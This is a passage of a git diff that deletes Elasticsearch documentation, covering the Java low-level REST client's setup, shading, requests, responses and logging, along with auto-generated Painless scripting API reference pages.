-- org.apache.httpcomponents:httpclient
-- org.apache.httpcomponents:httpcore
-- commons-codec:commons-codec
-- commons-logging:commons-logging
-
-[[java-rest-low-usage-shading]]
-=== Shading
-
-In order to avoid version conflicts, the dependencies can be shaded and packaged
-within the client in a single JAR file (sometimes called an "uber JAR" or "fat
-JAR"). Shading a dependency consists of taking its content (resources files and
-Java class files) and renaming some of its packages before putting them in the
-same JAR file as the low-level Java REST client. Shading a JAR can be
-accomplished by 3rd-party plugins for Gradle and Maven.
-
-Be advised that shading a JAR also has implications. Shading the Commons Logging
-layer, for instance, means that 3rd-party logging backends need to be shaded as
-well.
-
-[[java-rest-low-usage-shading-maven]]
-==== Maven configuration
-
-Here is a configuration using the Maven
-https://maven.apache.org/plugins/maven-shade-plugin/index.html[Shade]
-plugin. Add the following to your `pom.xml` file:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<build>
-    <plugins>
-        <plugin>
-            <groupId>org.apache.maven.plugins</groupId>
-            <artifactId>maven-shade-plugin</artifactId>
-            <version>3.1.0</version>
-            <executions>
-                <execution>
-                    <phase>package</phase>
-                    <goals><goal>shade</goal></goals>
-                    <configuration>
-                        <relocations>
-                            <relocation>
-                                <pattern>org.apache.http</pattern>
-                                <shadedPattern>hidden.org.apache.http</shadedPattern>
-                            </relocation>
-                            <relocation>
-                                <pattern>org.apache.logging</pattern>
-                                <shadedPattern>hidden.org.apache.logging</shadedPattern>
-                            </relocation>
-                            <relocation>
-                                <pattern>org.apache.commons.codec</pattern>
-                                <shadedPattern>hidden.org.apache.commons.codec</shadedPattern>
-                            </relocation>
-                            <relocation>
-                                <pattern>org.apache.commons.logging</pattern>
-                                <shadedPattern>hidden.org.apache.commons.logging</shadedPattern>
-                            </relocation>
-                        </relocations>
-                    </configuration>
-                </execution>
-            </executions>
-        </plugin>
-    </plugins>
-</build>
---------------------------------------------------
-
-[[java-rest-low-usage-shading-gradle]]
-==== Gradle configuration
-
-Here is a configuration using the Gradle
-https://github.com/johnrengelman/shadow[ShadowJar] plugin. Add the following to
-your `build.gradle` file:
-
-["source","groovy",subs="attributes"]
---------------------------------------------------
-shadowJar {
-    relocate 'org.apache.http', 'hidden.org.apache.http'
-    relocate 'org.apache.logging', 'hidden.org.apache.logging'
-    relocate 'org.apache.commons.codec', 'hidden.org.apache.commons.codec'
-    relocate 'org.apache.commons.logging', 'hidden.org.apache.commons.logging'
-}
---------------------------------------------------
-
-[[java-rest-low-usage-initialization]]
-=== Initialization
-
-A `RestClient` instance can be built through the corresponding
-`RestClientBuilder` class, created via `RestClient#builder(HttpHost...)`
-static method. The only required argument is one or more hosts that the
-client will communicate with, provided as instances of
-https://hc.apache.org/httpcomponents-core-ga/httpcore/apidocs/org/apache/http/HttpHost.html[HttpHost]
- as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-init]
---------------------------------------------------
-
-The `RestClient` class is thread-safe and ideally has the same lifecycle as
-the application that uses it. It is important that it gets closed when no
-longer needed so that all the resources used by it get properly released,
-as well as the underlying http client instance and its threads:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-close]
---------------------------------------------------
-
-`RestClientBuilder` also allows to optionally set the following configuration
-parameters while building the `RestClient` instance:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-init-default-headers]
---------------------------------------------------
-<1> Set the default headers that need to be sent with each request, to
-prevent having to specify them with each single request
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-init-failure-listener]
---------------------------------------------------
-<1> Set a listener that gets notified every time a node fails,  in case actions
-need to be taken. Used internally when sniffing on failure is enabled.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-init-node-selector]
---------------------------------------------------
-<1> Set the node selector to be used to filter the nodes the client will send
-requests to among the ones that are set to the client itself. This is useful
-for instance to prevent sending requests to dedicated master nodes when
-sniffing is enabled. By default the client sends requests to every configured
-node.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-init-request-config-callback]
---------------------------------------------------
-<1> Set a callback that allows to modify the default request configuration
-(e.g. request timeouts, authentication, or anything that the
-https://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/client/config/RequestConfig.Builder.html[`org.apache.http.client.config.RequestConfig.Builder`]
- allows to set)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-init-client-config-callback]
---------------------------------------------------
-<1> Set a callback that allows to modify the http client configuration
-(e.g. encrypted communication over ssl, or anything that the
-https://hc.apache.org/httpcomponents-asyncclient-dev/httpasyncclient/apidocs/org/apache/http/impl/nio/client/HttpAsyncClientBuilder.html[`org.apache.http.impl.nio.client.HttpAsyncClientBuilder`]
- allows to set)
-
-
-[[java-rest-low-usage-requests]]
-=== Performing requests
-
-Once the `RestClient` has been created, requests can be sent by calling either
-`performRequest` or `performRequestAsync`. `performRequest` is synchronous and
-will block the calling thread and return the `Response` when the request is
-successful or throw an exception if it fails. `performRequestAsync` is
-asynchronous and accepts a `ResponseListener` argument that it calls with a
-`Response` when the request is successful or with an `Exception` if it fails.
-
-This is synchronous:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-sync]
---------------------------------------------------
-<1> The HTTP method (`GET`, `POST`, `HEAD`, etc)
-<2> The endpoint on the server
-
-And this is asynchronous:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-async]
---------------------------------------------------
-<1> The HTTP method (`GET`, `POST`, `HEAD`, etc)
-<2> The endpoint on the server
-<3> Handle the response
-<4> Handle the failure
-
-You can add request parameters to the request object:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-parameters]
---------------------------------------------------
-
-You can set the body of the request to any `HttpEntity`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-body]
---------------------------------------------------
-
-IMPORTANT: The `ContentType` specified for the `HttpEntity` is important
-because it will be used to set the `Content-Type` header so that Elasticsearch
-can properly parse the content.
-
-You can also set it to a `String` which will default to
-a `ContentType` of `application/json`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-body-shorter]
---------------------------------------------------
-
-[[java-rest-low-usage-request-options]]
-==== RequestOptions
-
-The `RequestOptions` class holds parts of the request that should be shared
-between many requests in the same application. You can make a singleton
-instance and share it between all requests:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-options-singleton]
---------------------------------------------------
-<1> Add any headers needed by all requests.
-<2> Customize the response consumer.
-
-`addHeader` is for headers that are required for authorization or to work with
-a proxy in front of Elasticsearch. There is no need to set the `Content-Type`
-header because the client will automatically set that from the `HttpEntity`
-attached to the request.
-
-You can set the `NodeSelector` which controls which nodes will receive
-requests. `NodeSelector.SKIP_DEDICATED_MASTERS` is a good choice.
-
-You can also customize the response consumer used to buffer the asynchronous
-responses. The default consumer will buffer up to 100MB of response on the
-JVM heap. If the response is larger then the request will fail. You could,
-for example, lower the maximum size which might be useful if you are running
-in a heap constrained environment like the example above.
-
-Once you've created the singleton you can use it when making requests:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-options-set-singleton]
---------------------------------------------------
-
-You can also customize these options on a per request basis. For example, this
-adds an extra header:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-options-customize-header]
---------------------------------------------------
-
-==== Multiple parallel asynchronous actions
-
-The client is quite happy to execute many actions in parallel. The following
-example indexes many documents in parallel. In a real world scenario you'd
-probably want to use the `_bulk` API instead, but the example is illustrative.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-async-example]
---------------------------------------------------
-<1> Process the returned response
-<2> Handle the returned exception, due to communication error or a response
-with status code that indicates an error
-
-==== Cancelling asynchronous requests
-
-The `performRequestAsync` method returns a `Cancellable` that exposes a single
-public method called `cancel`. Such method can be called to cancel the on-going
-request. Cancelling a request will result in aborting the http request through
-the underlying http client. On the server side, this does not automatically
-translate to the execution of that request being cancelled, which needs to be
-specifically implemented in the API itself.
-
-The use of the `Cancellable` instance is optional and you can safely ignore this
-if you don't need it. A typical usecase for this would be using this together with 
-frameworks like Rx Java or the Kotlin's `suspendCancellableCoRoutine`. Cancelling
-no longer needed requests is a good way to avoid putting unnecessary 
-load on Elasticsearch.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-async-cancel]
---------------------------------------------------
-<1> Process the returned response, in case it was ready before the request got cancelled
-<2> Handle the returned exception, which will most likely be a `CancellationException` as the request got cancelled
-
-[[java-rest-low-usage-responses]]
-=== Reading responses
-
-The `Response` object, either returned by the synchronous `performRequest` methods or
-received as an argument in `ResponseListener#onSuccess(Response)`, wraps the
-response object returned by the http client and exposes some additional information.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RestClientDocumentation.java[rest-client-response2]
---------------------------------------------------
-<1> Information about the performed request
-<2> The host that returned the response
-<3> The response status line, from which you can for instance retrieve the status code
-<4> The response headers, which can also be retrieved by name though `getHeader(String)`
-<5> The response body enclosed in an https://hc.apache.org/httpcomponents-core-ga/httpcore/apidocs/org/apache/http/HttpEntity.html[`org.apache.http.HttpEntity`]
- object
-
-When performing a request, an exception is thrown (or received as an argument
- in `ResponseListener#onFailure(Exception)` in the following scenarios:
-
-`IOException`:: communication problem (e.g. SocketTimeoutException)
-`ResponseException`:: a response was returned, but its status code indicated
-an error (not `2xx`). A `ResponseException` originates from a valid
-http response, hence it exposes its corresponding `Response` object which gives
-access to the returned response.
-
-NOTE: A `ResponseException` is **not** thrown for `HEAD` requests that return
-a `404` status code because it is an expected `HEAD` response that simply
-denotes that the resource is not found. All other HTTP methods (e.g., `GET`)
-throw a `ResponseException` for `404` responses unless the `ignore` parameter
-contains `404`. `ignore` is a special client parameter that doesn't get sent
-to Elasticsearch and contains a comma separated list of error status codes.
-It allows to control whether some error status code should be treated as an
-expected response rather than as an exception. This is useful for instance
-with the get api as it can return `404` when the document is missing, in which
-case the response body will not contain an error but rather the usual get api
-response, just without the document as it was not found.
-
-Note that the low-level client doesn't expose any helper for json marshalling
-and un-marshalling. Users are free to use the library that they prefer for that
-purpose.
-
-The underlying Apache Async Http Client ships with different
-https://hc.apache.org/httpcomponents-core-ga/httpcore/apidocs/org/apache/http/HttpEntity.html[`org.apache.http.HttpEntity`]
- implementations that allow to provide the request body in different formats
-(stream, byte array, string etc.). As for reading the response body, the
-`HttpEntity#getContent` method comes handy which returns an `InputStream`
-reading from the previously buffered response body. As an alternative, it is
-possible to provide a custom
-https://hc.apache.org/httpcomponents-core-ga/httpcore-nio/apidocs/org/apache/http/nio/protocol/HttpAsyncResponseConsumer.html[`org.apache.http.nio.protocol.HttpAsyncResponseConsumer`]
- that controls how bytes are read and buffered.
-
-[[java-rest-low-usage-logging]]
-=== Logging
-
-The Java REST client uses the same logging library that the Apache Async Http
-Client uses: https://commons.apache.org/proper/commons-logging/[Apache Commons Logging],
- which comes with support for a number of popular logging implementations. The
-java packages to enable logging for are `org.elasticsearch.client` for the
-client itself and `org.elasticsearch.client.sniffer` for the sniffer.
-
-The request tracer logging can also be enabled to log every request and
-corresponding response in curl format. That comes handy when debugging, for
-instance in case a request needs to be manually executed to check whether it
-still yields the same response as it did. Enable trace logging for the `tracer`
-package to have such log lines printed out. Do note that this type of logging is
-expensive and should not be enabled at all times in production environments,
-but rather temporarily used only when needed.
diff --git a/docs/java-rest/overview.asciidoc b/docs/java-rest/overview.asciidoc
deleted file mode 100644
index 4539406e4c3..00000000000
--- a/docs/java-rest/overview.asciidoc
+++ /dev/null
@@ -1,13 +0,0 @@
-[[java-rest-overview]]
-== Overview
-
-The Java REST Client comes in 2 flavors:
-
-* <<java-rest-low>>: the official low-level client for Elasticsearch.
-It allows to communicate with an Elasticsearch cluster through http.
-Leaves requests marshalling and responses un-marshalling to users.
-It is compatible with all Elasticsearch versions.
-
-* <<java-rest-high>>: the official high-level client for Elasticsearch.
-Based on the low-level client, it exposes API specific methods and takes care
-of requests marshalling and responses un-marshalling.
\ No newline at end of file
diff --git a/docs/java-rest/redirects.asciidoc b/docs/java-rest/redirects.asciidoc
deleted file mode 100644
index a077102b405..00000000000
--- a/docs/java-rest/redirects.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
-["appendix",role="exclude",id="redirects"]
-= Deleted pages
-
-The following pages have moved or been deleted.
-
-[role="exclude",id="_data_frame_transform_apis"]
-=== {transform-cap} APIs
-
-See <<transform_apis>>.
-
-[role="exclude",id="java-rest-high-dataframe-get-data-frame-transform"]
-=== Get {transform} API
-
-See <<java-rest-high-get-transform>>.
-
-[role="exclude",id="java-rest-high-dataframe-get-data-frame-transform-stats"]
-=== Get {transform} stats API
-
-See <<java-rest-high-get-transform-stats>>.
-
-[role="exclude",id="java-rest-high-dataframe-put-data-frame-transform"]
-=== Put {transform} API
-
-See <<java-rest-high-put-transform>>.
-
-[role="exclude",id="java-rest-high-dataframe-update-data-frame-transform"]
-=== Update {transform} API
-
-See <<java-rest-high-update-transform>>.
-
-[role="exclude",id="java-rest-high-dataframe-delete-data-frame-transform"]
-=== Delete {transform} API
-
-See <<java-rest-high-delete-transform>>.
-
-[role="exclude",id="java-rest-high-dataframe-preview-data-frame-transform"]
-=== Preview {transform} API
-
-See <<java-rest-high-preview-transform>>.
-
-[role="exclude",id="java-rest-high-dataframe-start-data-frame-transform"]
-=== Start {transform} API
-
-See <<java-rest-high-start-transform>>.
-
-[role="exclude",id="java-rest-high-dataframe-stop-data-frame-transform"]
-=== Stop {transform} API
-
-See <<java-rest-high-stop-transform>>.
diff --git a/docs/painless/index.asciidoc b/docs/painless/index.asciidoc
deleted file mode 100644
index c41899bbd98..00000000000
--- a/docs/painless/index.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[painless]]
-= Painless Scripting Language
-
-include::../Versions.asciidoc[]
-
-include::painless-guide.asciidoc[]
-
-include::painless-lang-spec.asciidoc[]
-
-include::painless-contexts.asciidoc[]
-
-include::painless-api-reference.asciidoc[]
\ No newline at end of file
diff --git a/docs/painless/painless-api-reference.asciidoc b/docs/painless/painless-api-reference.asciidoc
deleted file mode 100644
index 4ae770266c2..00000000000
--- a/docs/painless/painless-api-reference.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[painless-api-reference]]
-== Painless API Reference
-
-Painless has a strict list of allowed methods and classes per context to
-ensure all Painless scripts are secure. Most of these methods are
-exposed directly from the Java Runtime Environment (JRE) while others
-are part of Elasticsearch or Painless itself. Below is a list of the available
-APIs per context. The shared API is available to all contexts, while the
-specialized API available differs between contexts.
-
-include::painless-api-reference/index.asciidoc[]
diff --git a/docs/painless/painless-api-reference/index.asciidoc b/docs/painless/painless-api-reference/index.asciidoc
deleted file mode 100644
index d6984656103..00000000000
--- a/docs/painless/painless-api-reference/index.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[cols="<3,^3,^3"]
-|====
-|Aggregation Selector | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-aggregation-selector, Specialized API>>
-|Aggs | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-aggs, Specialized API>>
-|Aggs Combine | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-aggs-combine, Specialized API>>
-|Aggs Init | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-aggs-init, Specialized API>>
-|Aggs Map | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-aggs-map, Specialized API>>
-|Aggs Reduce | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-aggs-reduce, Specialized API>>
-|Analysis | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-analysis, Specialized API>>
-|Bucket Aggregation | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-bucket-aggregation, Specialized API>>
-|Field | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-field, Specialized API>>
-|Filter | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-filter, Specialized API>>
-|Ingest | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-ingest, Specialized API>>
-|Interval | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-interval, Specialized API>>
-|Moving Function | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-moving-function, Specialized API>>
-|Number Sort | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-number-sort, Specialized API>>
-|Painless Test | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-painless-test, Specialized API>>
-|Processor Conditional | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-processor-conditional, Specialized API>>
-|Score | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-score, Specialized API>>
-|Script Heuristic | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-script-heuristic, Specialized API>>
-|Similarity | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-similarity, Specialized API>>
-|Similarity Weight | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-similarity-weight, Specialized API>>
-|String Sort | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-string-sort, Specialized API>>
-|Template | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-template, Specialized API>>
-|Terms Set | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-terms-set, Specialized API>>
-|Update | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-update, Specialized API>>
-|Watcher Condition | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-watcher-condition, Specialized API>>
-|Watcher Transform | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-watcher-transform, Specialized API>>
-|Xpack Template | <<painless-api-reference-shared, Shared API>> | <<painless-api-reference-xpack-template, Specialized API>>
-|====
-
-include::painless-api-reference-shared/index.asciidoc[]
-include::painless-api-reference-aggregation-selector/index.asciidoc[]
-include::painless-api-reference-aggs/index.asciidoc[]
-include::painless-api-reference-aggs-combine/index.asciidoc[]
-include::painless-api-reference-aggs-init/index.asciidoc[]
-include::painless-api-reference-aggs-map/index.asciidoc[]
-include::painless-api-reference-aggs-reduce/index.asciidoc[]
-include::painless-api-reference-analysis/index.asciidoc[]
-include::painless-api-reference-bucket-aggregation/index.asciidoc[]
-include::painless-api-reference-field/index.asciidoc[]
-include::painless-api-reference-filter/index.asciidoc[]
-include::painless-api-reference-ingest/index.asciidoc[]
-include::painless-api-reference-interval/index.asciidoc[]
-include::painless-api-reference-moving-function/index.asciidoc[]
-include::painless-api-reference-number-sort/index.asciidoc[]
-include::painless-api-reference-painless-test/index.asciidoc[]
-include::painless-api-reference-processor-conditional/index.asciidoc[]
-include::painless-api-reference-score/index.asciidoc[]
-include::painless-api-reference-script-heuristic/index.asciidoc[]
-include::painless-api-reference-similarity/index.asciidoc[]
-include::painless-api-reference-similarity-weight/index.asciidoc[]
-include::painless-api-reference-string-sort/index.asciidoc[]
-include::painless-api-reference-template/index.asciidoc[]
-include::painless-api-reference-terms-set/index.asciidoc[]
-include::painless-api-reference-update/index.asciidoc[]
-include::painless-api-reference-watcher-condition/index.asciidoc[]
-include::painless-api-reference-watcher-transform/index.asciidoc[]
-include::painless-api-reference-xpack-template/index.asciidoc[]
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggregation-selector/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggregation-selector/index.asciidoc
deleted file mode 100644
index 3a82dc9536a..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggregation-selector/index.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-aggregation-selector]]
-=== Aggregation Selector API
-
-The following specialized API is available in the Aggregation Selector context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-aggregation-selector-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-aggregation-selector-String, String>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.geo
-<<painless-api-reference-aggregation-selector-org-elasticsearch-xpack-sql-expression-literal-geo, Expand details for org.elasticsearch.xpack.sql.expression.literal.geo>>
-
-* <<painless-api-reference-aggregation-selector-GeoShape, GeoShape>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.interval
-<<painless-api-reference-aggregation-selector-org-elasticsearch-xpack-sql-expression-literal-interval, Expand details for org.elasticsearch.xpack.sql.expression.literal.interval>>
-
-* <<painless-api-reference-aggregation-selector-IntervalDayTime, IntervalDayTime>>
-* <<painless-api-reference-aggregation-selector-IntervalYearMonth, IntervalYearMonth>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggregation-selector/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggregation-selector/packages.asciidoc
deleted file mode 100644
index bf87efc3123..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggregation-selector/packages.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-aggregation-selector-java-lang"]
-=== Aggregation Selector API for package java.lang
-See the <<painless-api-reference-aggregation-selector, Aggregation Selector API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggregation-selector-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-aggregation-selector-org-elasticsearch-xpack-sql-expression-literal-geo"]
-=== Aggregation Selector API for package org.elasticsearch.xpack.sql.expression.literal.geo
-See the <<painless-api-reference-aggregation-selector, Aggregation Selector API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggregation-selector-GeoShape]]
-==== GeoShape
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-aggregation-selector-org-elasticsearch-xpack-sql-expression-literal-interval"]
-=== Aggregation Selector API for package org.elasticsearch.xpack.sql.expression.literal.interval
-See the <<painless-api-reference-aggregation-selector, Aggregation Selector API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-aggregation-selector-IntervalDayTime]]
-==== IntervalDayTime
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-aggregation-selector-IntervalYearMonth]]
-==== IntervalYearMonth
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs-combine/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs-combine/index.asciidoc
deleted file mode 100644
index 420797f80ed..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-aggs-combine/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-aggs-combine]]
-=== Aggs Combine API
-
-The following specialized API is available in the Aggs Combine context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-aggs-combine-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-aggs-combine-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-aggs-combine/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-aggs-combine/packages.asciidoc
deleted file mode 100644
index 273ff65e45d..00000000000
